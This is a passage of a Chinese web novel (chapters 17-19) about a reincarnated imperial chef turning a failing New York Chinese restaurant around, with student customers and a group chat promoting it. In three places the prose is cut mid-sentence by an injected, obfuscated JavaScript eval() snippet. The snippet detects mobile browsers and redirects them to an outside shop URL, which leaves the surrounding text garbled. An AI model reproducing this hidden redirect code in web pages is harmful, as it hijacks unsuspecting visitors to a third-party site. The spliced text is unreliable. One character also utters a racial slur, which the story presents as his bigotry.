“嘿，女士们，想进来尝尝我们令人难忘的炒饭吗？保证你们吃了一次还想吃第二次，永远都逃不出这美妙的滋味！” 不知是戴维太过热情，还是别的什么原因，两位女士看见一位膀大腰圆的大汉朝她们撞过来，顿时吓得面色苍白，当即扔掉手里的宣传单，急匆匆地跑掉了。 目睹这一幕的唐宁：…… 丽萨扶着额头骂了声脏话，给了莉莉一个眼神，莉莉立刻出去把戴维扛回来，丢进了厨房里。 “呆在里面好吗？爸爸，求你了。” “别这样，丽萨，我只是想拉点客人回来。” “爸爸，我很确定你这不是拉客，而是在赶走我们的客人。如果不是你，那两位客人已经走进来了，所以我认为你现在应该在厨房里好好练习宁教你的切菜功夫，你觉得呢？” 戴维这才意识到自己的行为确实有些激动，于是双手投降：“好吧，听你的，我亲爱的女儿。” 与此同时。 街口出现一男一女两个年轻人，看起来像是中国留学生，手里拿着宣传单。 “你确定是这里？” 梁薇看着满是涂鸦的墙，挂满球鞋的电线杆，不禁有些迟疑。 身旁的男生心里也在打鼓。 两人都是来美利坚留学的新生，入学不到两个月，一直在适应校园生活。 男生是哈斯顿大学的，女朋友在曼哈顿的高校里，两人吃了两个月的白人饭，好不容易等到周末女朋友来探望他，打算改善一下伙食，哪怕斥巨资，也想好好吃一顿中餐。 但他们又嫌弃唐人街的东西迎合本地口味，既贵又不正宗还难吃。 正纠结的时候，看到一个戴熊猫头箍的外国女孩在发传单，见上面写的是中餐，便主动要了一张。 可他们却没想到，餐厅会开在这么犄角旮旯的地方。 赵轩往里走了几步，转头道：“是这里吧，我好像看见招牌了，喏，写着墨字的食记。” 梁薇顺着他指的方向看过去，果然是跟宣传单上一样的名字。 “可这地方也太偏了吧，yelp也搜不到……” “要不，我们换个地方？” 赵轩隔着老远朝餐厅里张望了一眼，落地窗里依稀能看到里面的布置，干净是挺干净的，只不过好像确实没什么人。 这种地方，要么不好吃，要么不正规。 不管怎么样，为了安全起见，还是不进去为妙。 万一进去就出不来了怎么办？ 说着，他就感到一阵脊背发凉，拉着女朋友准备去别的地方，但往前走了两步，却发现女朋友定在原地没动。 赵轩回头：“怎么不走？” 梁薇耸了耸鼻尖，一脸惊喜地看向赵轩。 “你闻，这是什么味道？好香啊！” 17. 牛肉炒饭、卤味拼盘 来都来了。 小情侣闻着香味走进了食记餐厅。 餐厅不大，窗明几亮，看起来像是新店，墙上没有什么乱七八糟的广告和宣传语，白白净净的，加上暖色调的灯光，呈现出一种简洁的温馨。 收银台是一个圆弧形玻璃柜，中层展示着几道凉菜，最下面摆着几个酱坛，不知装着什么。 收银台后方的黑板上，用粉笔写着当日的菜单和价格。 左半边是中文，右半边是英文，英文括号里备注了食材过敏源。 “你好，请问想吃点什么？” 丽萨穿着黑底青鸾纹的工作服，胸前挂着自己的名字，一头张扬的红发利落扎起，笑容明媚，说出的却是不太流利的中文。 小情侣的心当即一沉。 中餐厅里的服务生居然是外国人？ 再一转眼，另一个拥有同款发色的服务生站在出餐口，怯生生地望着这边。 这不是戴着熊猫发箍发传单的可爱女孩吗？ 出餐口跟厨房门挨在一起，透过门上的圆形窗口，依稀可以看见里面的光景，食材分门别类，调料排列有序，生熟分离，看着倒是有模有样的。 不过，里面那位埋头雕萝卜，动作如树懒的络腮胡老外，不会就是这家餐厅的厨师吧？ 小情侣：…… 有种上了贼船下不来的感觉。 两人对视一眼。 赵轩意思很明显：要不撤？ 梁薇有些不好意思，毕竟都已经进来了，而且她的鼻子不会骗她，这里的空气都弥漫着在街口闻到的那股诱人的肉香。 “不如试试吧，反正价格也不贵，万一好吃呢？” 她转头看向一直安静等着他们做决定的丽萨，想起对方生涩的中文，用英文问道：“你们这里只有各种炒饭和牛腩面吗？有没有其他的，比如炒菜之类的？” 好不容易吃顿中餐，梁薇还是想吃点丰盛的。 丽萨摇了摇头，笑着解释：“抱歉，目前暂时只提供这些，另外还有卤味拼盘和凉菜，如果想吃炒菜的话，可以下周双休日来光顾。” 由于是重新开业第一天，为了方便观察营业情况，唐宁依旧选择较为快捷的炒饭和汤面。 炒饭不仅有两种经典的扬州炒饭，还有牛肉炒饭，鸡肉炒饭，火腿炒饭，菠萝炒饭，以及专为素食主义提供的蔬菜炒饭。 汤面只准备了一种食材，就是牛腩。 唐宁一早就来到餐厅开始炖了，分别是原味牛腩，番茄牛腩，以及香辣牛腩，满满三大桶。 如果客人点单，只需要让戴维煮熟面条，浇上牛腩汤底，就可以出单，完全不需要任何技术含量，唯一值得注意，就是让戴维把控好煮面的时间和步骤。 另外，她还连夜卤了一锅卤味，里面有鸡翅鸡爪鸡腿，牛腱牛肚牛筋，以及土豆莲藕千张海带面筋等等素菜，都是盛出来就可以直接上桌的。 唐宁只需要在有人点炒饭的时候开火，十分省时省力。 之后她上课期间，即便店里只有戴维一个人在，只要没人点炒饭，他应该也能应付得过来。 如果这套方案可行，就暂且这么实施，等下周双休，再开始做一些家常菜。 赵轩扫了一眼展示柜里略显寒酸的凉菜，凉拌三丝，五香豆干，双色腌萝卜，神色浮现出一丝嫌弃，用中文低声嘟囔：“还不如回公寓煮碗螺蛳粉，加点蔬菜丸子呢。” 在他眼里，这些东西在国内只要随便支个路边摊就能卖，谁会特意去餐厅里吃？ 这不冤大头吗？ 梁薇瞪他一眼，让他少废话。 不过，厨房里的老外主厨着实也让她心里没底。 众所周知，炒饭用猪油炒最香，但鉴于美利坚骚猪遍地，她点了一个最不容易踩雷的牛肉炒饭。 用牛油炒，再怎么样都不会太难吃吧，就算炒饭难吃，至少还可以把里面的牛肉捡出来。 当然，前提得是炒饭里有牛肉。 怕光吃炒饭有点寡淡，她又想起那股肉香，“你们的卤味拼盘里应该没猪肉吧？” 丽萨点头：“没有的。” 梁薇放心了，“那再来一个拼盘，要……” “小份的。”赵轩迅速接上。 然后，他拉着梁薇在靠窗的位置坐下。 梁薇一脸莫名：“你干嘛拦着我点菜？还有你怎么不点吃的？” 赵轩没回答为什么拦她，只说：“我不饿，等你吃完再说。” 谁知道老外能做出什么鬼东西，说不定餐厅里的肉味都是那种为了招揽顾客的科技香水。 商场里的那些高奢店和化妆品店不都这么搞吗？ 这种伎俩他见多了。 一会儿梁薇肯定会嫌难吃，到时候只能他来帮她解决。 梁薇一副见怪不怪的表情，无情拆穿他：“你早上都没吃东西，怎么可能不饿？你就是纯抠，好不容易看到有卖卤味的店，你居然还给我改成小份的，抠死了。” 赵轩靠在椅子上，自信道：“反正你肯定吃不完，何必多花冤枉钱？” “又不是花你的钱。”梁薇睨他一眼：“我警告你啊，一会儿想吃自己点，不许抢我的。” 抢？ 是不可能抢的。 赵轩自信道：“一会儿你可别求我帮你解决剩饭。” …… 料都是提前备好的，唐宁在后厨哐哐一顿炒，戴维才刚把拼盘盛出来，炒饭就已经做好了。 香气四溢。 完全不输卤味的风采。 莉莉端起托盘给今天的第一位客人上菜。 “牛肉炒饭，卤味拼盘。” 她一边用中文说着菜名，一边把菜放在桌子上。一抬头，正好跟双眼瞪得像铜铃的梁薇对上视线。 莉莉：？ 梁薇惊喜道：“你会说中文？” 莉莉不知所措地看着她，以为自己做错了什么事。 梁薇才反应过来，她只是会说菜名，便不好意思地用英文解释：“对不起，我听你用中文报菜名，还以为你会说中文呢。你说得真好，比另一位服务生还要好。” 莉莉害羞地笑了，小声说了句“谢谢”。 恰逢此时，苏珊端来一碟凉菜，她故作一脸受伤：“甜心，你的话真令我心碎。” 梁薇看出她在开玩笑，友善道：“其实你已经说得很好了，中文很难学的。” “噢，这话听起来很感动，谢谢你。”苏珊把腌萝卜放在卤味拼盘旁边，“这是店里的赠品，如果还有其他需要，请随时叫我们，祝两位用餐愉快。” 梁薇点点头，一转头，见男朋友眼珠子都快黏在餐桌上了，这才低眸看向面前的牛肉炒饭和卤味。 “看起来好好吃啊。” 牛肉炒饭粒粒分明，每一粒米都泛着油润光泽，点缀着切碎的胡萝卜丁、淡黄色玉米粒、绿油油的豌豆，还有拇指盖大的褐色牛肉丁！ 卤味虽然是小份，但鸡肉牛肉和素菜样样俱全，切成片整整齐齐码在盘子里，浇了一勺浓稠油亮的卤汁，散发着酱香浓郁的复合肉香。 “就是这个味道，我在外面闻到的那股香味，果然是这家餐厅的卤味！” 梁薇两眼放光，显然十分兴奋。 赵轩不自觉滚了下喉咙，视线撇到窗外，“也就那样吧，说不定放了香肉精。” 不然怎么可能这么香？！ 还有那炒饭，跟动画片似的，刚才有一瞬间，他好像感觉那盘炒饭在发光。 梁薇皱眉，觉得他很扫兴。 懒得再理他，直接舀起一勺炒饭塞进嘴里。 米饭焦香弹牙，丝毫不油腻，只恰到好处地吸收了牛肉的油脂和精华。 更可贵的是，牛肉丁外焦里嫩，带着恰到好处的嚼劲，却丝毫不老，吃起来甚至能感觉到肉汁溅在了米饭上，混杂着一些玉米豌豆和胡萝卜的清香，通过不断咀嚼，释放出层次分明的香气，极大程度地勾起了人类最原始的饥饿感。 太好吃啦！ 怎么能有人把一碗炒饭炒出了国宴的水平？ 她在国内都没吃到过这么好吃的炒饭！ 卤味也是一绝！ 鸡爪炖的软烂脱骨，轻轻一嗦就淌进嘴里，掌中宝跟鸡脚筋的口感充满胶质，鸡腿肉味充足，充盈着鲜嫩的汁水，就连藕片海带都带着独特的鲜甜，让人一口停不下来。 吃完一半米饭，梁薇把拼盘里切片的牛腱牛肚和牛筋一起倒进炒饭里，连汤汁也没放过。 搅拌搅拌，简直就是美味核弹。 总统来了都要抖三抖。 当然，这只是玩笑。 梁薇被自己的想法逗笑，正要重新沉浸在美食中，手腕被赵轩牢牢抓住。 梁薇：？ “你干嘛？” 赵轩一动不动地望着她，也被自己出乎意料的举动弄蒙了，好半天才回过神来，故作关心地用下巴点了下她的肚子。 “你最近不是在减肥？小心别撑到了。” 梁薇甩开他的手，“怎么可能？才这么一点，我都还觉得不够，况且这都是优质蛋白。炒饭料足，米饭充其量也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐宁才十八岁，他都快四十八了，矜矜业业学厨两年，却发现连她的一根手指头都比不上。 “唐，你真的不是来自于厨艺世家吗？” 这半个月来，为了餐厅重新整改，他们也碰过好几次面。 戴维一直以为她的父母或者祖上是厨师，却没想到，对方说自己只是一个平平无奇的农村小女孩，不论是养父母和奶奶，还是亲生父母，工作都跟厨师行业丝毫不搭边。 唐宁会做饭，纯粹属于基本生存技能。 至于菜色，全是靠看网上视频自己瞎琢磨的。 戴维听后始终难以置信，但唐家的破产信息在网上就查得到，事实摆在眼前，由不得他不信。 “你简直就是传说中的厨神，活生生的天才！” 唐宁洗了下手，擦干水渍，随后朝戴维抿唇一笑，算是默认了他的夸赞。 不然还能怎么办？ 总不能说她来自大胤，是个御厨，一朝惨死，魂穿现代，莫名成为话本子里的恶毒女配，来到大洋彼岸镀金作死的吧？ 见戴维面露绝望，唐宁又不得不安慰他。 “中国有句古话，叫‘勤能补拙’。厨艺之事左右不过这些功夫，只要勤加苦练，总归不至于太差，开个小店谋以生存足矣，又何必非得跟所谓的天才相比较。” 其实戴维的厨艺虽算不得好，但基本功却很扎实。 差就差在，他拜错了师傅。 许是出于中餐的热爱，戴维对于做菜十分执着，也比寻常人更加勤勉，他师傅一定看得出戴维即便是外国人，但资质却不比中国人差，却不知出于何种原因，不教他正经厨艺，只教一些旁门左道的东西。 就连一碗简单的炒饭，也从未告诉他，最重要的是控制火候。 而不是，炒熟就行。 戴维点点头，跟她一起走出厨房。 “我知道，中国还有句古话，叫‘一山还比一山高’，也许这个世界上还有比唐更优秀的厨师，比来比去没有任何意义，只会自找麻烦。” 唐宁笑：“没错。” 两人说着，接过苏珊递过来的水杯。 正准备歇歇，门口突然进来一个人，急不可耐地把美金排在柜台上。 “我要一碗牛肉炒饭！大份卤味拼盘！这些凉菜不用赠送，我花钱，各来一盘！” 18. 留子群炸了 两个小时前。 梁薇将打包的大份卤味拼盘抱在怀里，心满意足地走出餐厅，赵轩跟在身后，表面装作若无其事，实则内心早已疯狂。 好饿好饿好饿。 以往为了吃自助餐回本，或是为了留出肚子给富二代女友打扫剩饭零食，他经常不吃早餐和午餐，饿两顿对他来说几乎是毫无影响。 却没想到，今天这顿饭让他一次又一次在破防的边缘徘徊。 可他的自尊绝对不允许自己流露出一分一毫的异样，他害怕会被梁薇这样的富家千金看不起。 偏偏下午还要跟梁薇一起逛街，打包的卤味虽然被紧紧地扣在打包盒里，却还是不停散发出诱人的香味，隔着饭盒和纸袋，他仿佛还是能闻见鸡肉的鲜嫩，牛肉的咸香，藕片的清甜，海带的鲜美，豆皮的豆香……馋得他喝了好几瓶饮料，才堪堪掩饰住不停吞咽的口水。 两人一路走到商业街，甚至还有熟悉这个味道的华人主动上前询问梁薇，卤味是在哪里买的。 梁薇兴高采烈地给她们指路，脸上满是这条街第一个挖到宝藏餐厅的自豪感。 看得赵轩十分无语。 不仅如此，她还分享到了纽约留子群里。 【绝望留子终于有救了！我发现一家巨好吃的中餐厅！！！】 安静已久的群突然活了。 【真的假的？唐人街我都吃遍了，也就那样吧，再怎么也比不上国内。】 【人都在大洋彼岸了，还要什么自行车？我要求不高，哪家哪家？求个坐标！】 【+1，正好不知道吃什么。】 梁薇单手打字，十分大方地把店名和地址都发了出去。 安静三秒钟后。 【食记？没听过，新店啊？】 见有人已经去搜了，梁薇正要说话，忽然看见下一条消息，被那阴阳怪气的语气弄得不禁皱了眉。 【哦，这家啊。】 群里近一千留子，有人吃过不奇怪，但对方语气显然有些阴阳怪气。 梁薇最烦这种人，她也不惯着，迅速打字。 【这家怎么了？】 【但凡是哈斯顿的留子都知道，以前大名鼎鼎的醉仙楼，前段时间还关门整改了，你想吧，能整改的店，会脏成什么样？】 【我刚从店里出来，看着挺干净的，厨房还有可视窗口，没那么夸张吧。】 也有人猜：【会不会是换老板了？】 【厨师红发络腮胡？服务员一胖一瘦姐妹俩？】 【是啊。】 【那没跑了，看见赶快跑。】 【想起来了，是不是十来天前小某书上有个博主推荐的那家？】 【没错，几百个粉就恰烂钱，早就取关了，所谓新店不过是换汤不换药，难吃死了，还要小心吃到老鼠屎。】 看着群里的对话，梁薇有点怀疑人生，她们说的是同一家餐厅吗？ 梁薇停下脚步。 她知道自己不该较真，毕竟纽约中餐厅多如牛毛，好吃难吃，各人口味不同，没必要争。 她大可以装作没看见，然后关掉手机，继续享受自己的卤味，可低头看见手里香喷喷的卤味，想起店里可爱的姐妹俩，还有美味的炒饭，动摇片刻的天平还是不自觉向食记倾斜了。 她打开卤味拼盘的盒子，拍下照片发在群里，还发了一张在店里吃完坐着消食的自拍。 【我还是觉得超好吃，说不定人家改过自新提升厨艺了，店里也都很干净，不信的话可以去试试。】 【蛙趣，这卤味色泽绝了，看起来也太勾人了，分量好大，比新开的某卤味连锁强多了，有点想去试试了。】 【看着也不贵，一盘蛋炒饭10刀，牛肉炒饭也才15刀，卤味大拼38，小拼18，如果小梁那一盒是大份的话，简直可以说太划算了。】 【呵呵。】 【？前面的你在嘲讽我吗？】 【活人难劝该死的鬼，谁吃谁知道，反正不是我的钱也不是我的胃，懒得多说了。】 看到这，梁薇有点生气。 不是针对那个人，是针对这种——怎么说呢，这种在异国他乡，好不容易找到一点家乡味，却被人一盆凉水浇灭的感觉。 【你什么意思啊，新店你去吃过吗你就BB？】 【我钱多烧得慌吗？】 眼看两人就要吵起来，有人出来说话了。 【就在附近，我去吃吃看。】 【勇士！请务必拍照直播！可以的话我即将起床冲出宿舍大门。】 被这么一打岔，梁薇也懒得跟那人吵，索性街也不逛了，拉着赵轩找了家饮料店坐着。 颇有种老娘就静静坐在这里看你们打脸的气势。 赵轩：…… 赵轩欲言又止，见梁薇正在气头上，瞥了一眼卤味拼盘，默默去买饮料了。 十分钟后，群里弹消息了。 【到了。】 【图片图片图片】 【店里确实挺干净的，应该是重新装修过。】 梁薇一个激灵，放下饮料，聚精会神地盯着手机屏幕。 【点了盘火腿炒饭和小拼盘。】 【服务挺好的，还送小凉菜。】 五分钟后。 有人问：【吃上了吗？味道怎么样？】 没人回。 两分钟。 十分钟。 有人忍不住了。 【人呢？？？】 【被吃掉了吗？】 【……前面的你别太惊悚，小心发言，当心被拔叔盯上。】 梁薇也心急如焚，不停地刷着新消息。 直到十五分钟后。 【图片】 【不好意思，吃得太忘乎所以了，忘记拍照了。】 【好吃。】 三只盘子，干干净净，还有一个大盘子，上面褐色的酱汁还能看出曾装过卤味。 【？？？不是，你一个人吃了三盘炒饭，以及一大份卤味拼盘？】 【嗝——我也不想的，谁能想得到，用意大利火腿炒出来的饭这么好吃？牛肉炒饭和鸡肉炒饭也绝了，我现在已经撑得走不出店门。】 【！良心呢？地址呢？我怎么划不到了！谁能再发一遍？！】 【我已经在店门口了，我靠，窗边那个眼神迷离的壮汉是你吗？】 【啊啊啊卤味！我要馋死了！】 【两公里的距离，我硬是叫了个Uber，死轮子，你给我快转啊！】 【不是，你们难道没注意到，他一个人吃了三盘炒饭一盘卤肉拼盘吗？！】 短短十几分钟，留子群炸了。 群里全是要地址的，不管哪个区，甚至还有在斯塔滕岛上的。 一开始呛声的那人已经没了踪影。 梁薇翘起唇，神情十分愉悦。 殊不知，她小小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173536|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举动，已经让唐宁把铁勺抡出火花了。 “走吧，继续逛街。” 一直沉默的赵轩见她心情好转，道出了心里的那点小九九，“你说你跟他们较什么劲，万一把餐厅带火了，你下次来吃，排队不说，还可能涨价。” 梁薇一顿，盯着自己交往两个月的男朋友，像是第一天认识他似的。 赵轩：？ “怎么了？” “以前怎么没发现，”梁薇端详着他埋怨的眼神，“你这人怎么没劲？” 赵轩一噎，拉下面子哄她：“我这不是为了你好么？” 梁薇气笑了，“吃饭的时候你也这么说，赵轩，你是我男朋友，不是我爹妈。你自己抠也就算了，我的钱你也要替我抠，你不觉得自己太没边界感了吗？” 赵轩神色一僵，低眸认错：“抱歉，我从小家境不好，习惯节省了，如果让你不舒服了，我道歉。” 梁薇看着他那张清贫校草专用脸，心顿时一软，“算了，又不是什么大事。” 说完又问：“你家里是不是这个月又没给你打生活费？” 赵轩点点头，扯出一个苦涩的笑容：“没事，我还有钱，之后一碗泡面分三顿吃，也能吃饱的，等下学期达到申请工卡的条件，还可以去打工。” 梁薇一听，瞬间有些于心不忍，拿出手机划拉了几下。 “叮叮——” 手机响了，赵轩一看，两位给他转了500刀，作势要转回去：“你这是干嘛？我不能要。” 梁薇拦住他，“反正我在学校也没什么开销，你先用着，以后宽裕再还我就是了。” 梁薇家世很好，跟赵轩是在出国前的雅思考试上认识的。 当时她见他一头碎盖短发，长得清隽，身上穿着干干净净洗的发白的灰色衬衫和牛仔裤，当即就被“救风尘”情结冲昏了头，跟他谈起了恋爱。 恋爱两个月，两人统共就见过四次面，但每次赵轩都对她很好，很体贴，小奶狗似的，深得她心。 比起这点钱，她更不忍心看他天天吃不饱饭。 最终，赵轩只能勉为其难收下。 两人又逛了会儿街，赵轩极尽体贴，帮她拎这拎那，见时间差不多了，他才把梁薇送到地铁站。 两人像寻常情侣一样黏腻了一会儿，梁薇便坐地铁走了。 赵轩笑着跟她挥手，直到地铁消失不见，脸上的笑容瞬间消失，他像一只发疯的饿狼，撞开拥挤的人群，一路狂奔回到了食记餐厅。 于是，就有了眼前这一幕。 “我要一盘海鲜炒饭！大份卤味拼盘！凉菜不用赠送，我花钱，各来一盘！” 唐宁和戴维还没回过神来，苏珊认出了他，立马反应道：“不好意思，炒饭和卤味都卖完了，凉菜也只剩下凉拌三丝这一种了。” “什么？！” 赵轩感觉天塌了，“这才刚过午饭的时间。” 苏珊：“抱歉，今天我们运气不错，中午客人比较多，也是刚才送走最后一位客人。” 赵轩：…… 哪是运气不错？都是梁薇的杰作。 见他满头大汗，脸色苍白，一副摇摇欲坠的样子，苏珊想起他似乎没在餐厅里吃过东西，于是犹豫一下，问道：“不过，我们还有牛腩面，你需要来一碗吗？” “咕噜噜——” 胃里传来一阵轰鸣，赵轩猛地抬头，双眼泛出血丝。 “要！” 19. 牛腩面 食记后厨。 唐宁将最后一份面条丢进锅里。 当醇白的汤咕噜咕噜地滚起来，细长面条在里面翻江倒海，宛若成群迁移的蛟龙。 她站在锅边，如同交响乐指挥家，泛着银光的铁勺一挥，点水，压势，待面条重新沸腾，如此反复两次，煮熟的面条捞出，盛入空碗，直接浇一大勺牛腩汤，肥瘦相间牛腩在碗里跳跃弹起，浓香四溢。 叮叮—— “原味牛腩面好了。” 唐宁按下出餐铃，用不太纯正的英文呼唤丽萨。 丽萨给客人上完凉菜，回到出餐口，朝唐宁挤了下眼睛，“放心，他没认出你是哈斯顿的学生。” 午餐时，丽萨无意中从赵轩和梁薇中英参杂的对话中，听出赵轩是哈斯顿大学的学生。 唐宁还没拿到工卡。 为防万一，最好还是避免让任何人发现她已经在餐厅工作的事实。 所以大多时间，她都是只待在厨房里的。 然而，赵轩进来得猝不及防，当时唐宁以为餐厅没人了，打算出来休息一下，身上还穿着厨师服。 为了避免被认出来，唐宁当即在莉莉的掩护下回到了厨房。 幸好赵轩似乎也是饿得两眼昏花了，并没有注意到餐厅里的厨师，是一位中国面孔的年轻女孩。 听到丽萨的话，唐宁镇定地点了点头，重新回到灶台前。 工作保住了，该填饱肚子了。 餐厅开业第一天，原以为不会很忙，准备的食材也不算太多，本打算炒饭卤味卖不完还可以当员工餐。 却没想到，一中午过去，卤味和炒饭卖的最快，不到两个小时就卖光了。 期间戴维还着急忙慌地加煮了两锅米饭，用电风扇最大风力冷却，才勉强供上后续的订单。 后来炒饭的配菜已经彻底耗尽，只剩下三大桶牛腩，在丽萨的热情推荐下，也卖得只剩仅够做一份原味牛腩面的量了。 唐宁扭了扭手腕，默默在心里算了笔账。 除去房租水电食材成本，以及一些政府税收，午餐净收入大概有3000刀左右。 五五分的话，她能拿到大约1500刀。 虽然暂且还付不起贝内特太太的房租，但如果餐厅里的生意能一直保持得这么好，也不过几天的时间就能付上。 可惜，唐宁心里很清楚，今天是周末，客流量大是沾了商业街的光，以及社交媒体的广告推送。 还有一些尚未知晓的原因。 目前唯一能够确定的是，她做的餐食顾客的接受度很不错。 接下来还要看工作日内的营业情况。 不过她们三天前已经重新注册了yelp，之后还会开通外卖服务，订单也会随之增加。 照这个情况发展下去，营业额应该不会太差。 到时候不仅不用再为房租发愁，还能存下不少生活费，以及学费。 这么一盘算，唐宁瞬间腰也不酸了，腿也不疼了。 胃口大开，只想吃顿好的。 …… 丽萨端着托盘走到窗边的位置，赵轩桌上凉拌三丝的盘子已经空了，她并未觉得惊讶，面不改色地将牛腩面放在客人面前。 用餐愉快的话还未出口，赵轩已经挑起一大口面塞进嘴里，露出“眼”熟能详的神色。 我靠。 这一口。 简直绝了！ 前一刻钟，在听到炒饭和卤味卖完时，赵轩感觉就像是被一拳头砸在了太阳穴上。 整个人都懵了。 所以在服务员说还有牛腩面时，他脑子一热就要了一碗， 直到坐下来后，他才反应过来…… 他不是来吃面的啊！ 他馋的是炒饭！卤味拼盘！再不济双色腌萝卜也可以啊！ 可是点都已经点了。 而且，服务员也已经把他的凉菜端了上来，实在没有退路可言。 不过他确实也饿了，牛腩面还要等几分钟，准备先随便垫巴几口算了。 凉拌三丝就是很传统的黄瓜、土豆和胡萝卜，辅以酱油、醋、盐、糖和香油调制的酱汁，凉拌而成。 看起来中规中矩，丝毫没有新意。 赵轩根本没有抱任何期待，夹起筷子就尝了一口。 这一口下去，猝不及防地懵了一下，咸鲜开胃，清爽可口，一口接着一口，等回过神来时，盘子里连根香菜杆儿都瞧不见了。 他从小家庭条件不好，几乎没吃过什么好东西，久而久之，哪怕有奖学金以后，他也不重口腹之欲，吃什么都很随便。 以前交过几任女友，被带去高档餐厅，他觉得那些食物也就那样，肉是肉，菜是菜的，可他依旧要满脸笑容夸好吃，给女友提供情绪价值，保住自己男朋友的位置。 可就这么一盘小凉菜，居然让他的世界观产生了某种诡异的动摇。 如此简单的食材，也可以做的这么好吃吗？ 那他以前啃过的那些黄瓜、土豆、胡萝卜算什么？ 是世界这个模拟器里的道具菜吗？！ 克制住把盘子拿起来舔干净的冲动，他对接下来的牛腩面产生了极高的期待。 当牛腩面做好的一瞬间，他拿起了筷子。 当牛腩面终于放在桌上，他没有丝毫犹豫地挑起面条塞进嘴里。 烫，却舍不得吐。 面条入口，爽滑劲道，带着手工面条的韧，碰到牙齿瞬间弹开，将浓裹的汤汁溅满口腔，一种牛骨醇厚的咸鲜瞬间将舌头裹住，从舌尖到舌根，顺着喉咙咽下去，那股香一路进入胃里，让人满足不已。 煎的微微焦黄的牛腩经过长时间的卤煮，只需轻轻一咬，就会一丝一丝地散开。 酱香浸得透，让每一丝肉都带着浓郁霸道的香气，咸里透甜，甜里又透着肉的本味，嚼着嚼着，还能感受到牛腩那一点筋被炖的软软的，糯糯的，黏在齿间，舍不得咽。 更绝的是漂浮在碗里的那一小勺金黄的蒜头酥，简直让整碗面都升华了一个层次。 期待没有落空的感觉，简直太美妙了！ 此时此刻，赵轩脸上的表情堪称如痴似醉。 见状，丽萨闭上嘴巴，默默离开。 身后狼吞虎咽的声音，让她不禁加快脚步。 这人的吃相，太可怕了。 上完餐，丽萨立马钻进厨房，见唐宁已经开始准备员工餐了。 “你怎么不休息一下？可以让戴维来做。” 唐宁累了一中午，晚餐的食材一会儿还得提前准备出来，不抓紧时间休息可不行。 凯耶家族决不允许出现葛朗台。 唐宁笑着指了指冷库，“没关系，他们已经在帮忙准备了。” 丽萨伸长脖子朝里面看去，果然看见父亲和妹妹正蹲在一盆血红的内脏面前，手里拎着一截肠子，口罩下的面容扭曲狰狞，实在难以直视。 丽萨：…… “宁，拜托，请不要告诉我，那盆……是我们的晚餐。” …… 马丁走出仓库，来到杂货店柜台前，露出一口大白牙。 “老板，最后一箱啤酒已经搬进去了，今天有过期的食物需要我帮你带走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184198|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” 白人老板抬头看他一眼，语带嘲弄：“可怜的马丁，你怎么还在吃过期面包？今天凯耶家餐厅重新开业，他们没通知你吗？” “真的吗？” 马丁没听出他的挑拨和挖苦，露出一脸喜色，“那我先去吃饭了。如果订单有什么问题，随时打电话给我。” 比起冷冰冰的面包，凯耶的炒饭好歹是热的，运气好的话，还有肉吃。 说完，他戴上绿色棒球帽，走出了杂货店。 白人老板看着高大黑壮的背影迅速消失在街口，嗤笑一声：“黑鬼还真是什么都不挑，连猪食都吃得下去。” 马丁走进熟悉的街道，看见焕然一新的门面呆愣了半晌，一度以为自己走错了地方。 可除了醉仙楼，纽约没有任何一家餐厅会开在这么偏僻的地方。 他狗狗祟祟地推开食记的门，看见柜台旁的丽萨，才放松了一口气，兴冲冲地走过去。 “嘿，丽萨。” 丽萨还没从那一盆血淋淋牛下水的震撼中缓过神来，骤然听见马丁的声音，吓了一大跳。 她拍着心口，道：“噢，我的天，是你啊，马丁。” “是啊，我来晚了，我不知道餐厅重新开业。”马丁没有质问她不告诉他开业的事，而是呲着个大牙问，“今天我有幸能品尝到凯耶先生的厨艺吗？” 丽萨双手一摊，遗憾道：“恐怕不行。” 马丁神色一顿：“为什么？” 丽萨没有直接说明换厨师了，而是将视线朝窗边移去，“因为最后一份餐，已经卖出去了。” 马丁顺着她的目光看过去，看见一个亚裔男孩正在擦嘴，桌上的碟子和碗都已经空了，连汤汁都没剩下。 赵轩打了一个饱嗝，正意犹未尽地舔嘴，忽然感觉后脖颈凉飕飕的。 转头一看，一个高大的黑人正一瞬不瞬地盯着他，黑白分明的眼底白里透红。 赵轩：？ 什么眼神。 好像自己抢了他饭似的。 赵轩一阵莫名其妙，随后摸了摸肚子，朝柜台旁的丽萨招手。 “结账。” 丽萨对上马丁回头看过来的失望小眼神儿，无奈地耸了下肩，朝顾客走了过去。 赵轩付完钱，刻意避开丽萨殷切的目光，直接起身朝门口走去，路过柜台的时候，再次察觉马丁如芒在背的视线，不自觉回头看他。 两人视线一对，马丁立马幽幽道：“就是你这个不给小费的吝啬鬼抢走了我的午饭吗？” 赵轩：…… 被黑哥开大嘲讽，赵轩面子顿时挂不住。 最后，他不得不以着急回家为由，补上了“忘记”的小费。 丽萨笑意盈盈地目送他离开。 等人走后，丽萨回头朝马丁说道：“看在你机灵的份上，我可以让宁多加一份员工餐。” “宁？” 